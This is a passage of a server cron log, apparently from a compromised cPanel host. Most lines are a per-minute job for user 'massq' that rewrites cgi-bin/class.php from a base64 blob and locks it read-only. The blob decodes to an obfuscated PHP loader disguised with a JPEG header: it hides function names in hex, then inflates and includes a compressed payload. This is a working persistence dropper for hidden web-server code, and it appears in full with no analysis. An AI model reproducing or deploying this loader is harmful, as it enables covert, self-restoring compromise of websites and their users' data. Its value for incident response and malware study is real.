uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:22:01 server CROND[26849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:23:01 server CROND[27027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:24:01 server CROND[27101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:25:01 server CROND[27178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:25:01 server CROND[27179]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:25:01 server CROND[27180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:26:01 server CROND[27324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:27:01 server CROND[27395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 13:27:01 server CROND[27394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:28:01 server CROND[27460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:29:01 server CROND[27622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:30:01 server CROND[27682]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:30:01 server CROND[27681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:30:01 server CROND[27683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:30:01 server CROND[27686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:31:01 server CROND[27817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:32:01 server CROND[27884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:33:01 server CROND[27953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:34:01 server CROND[28135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:35:01 server CROND[28204]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 13:35:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:35:01 server CROND[28209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHg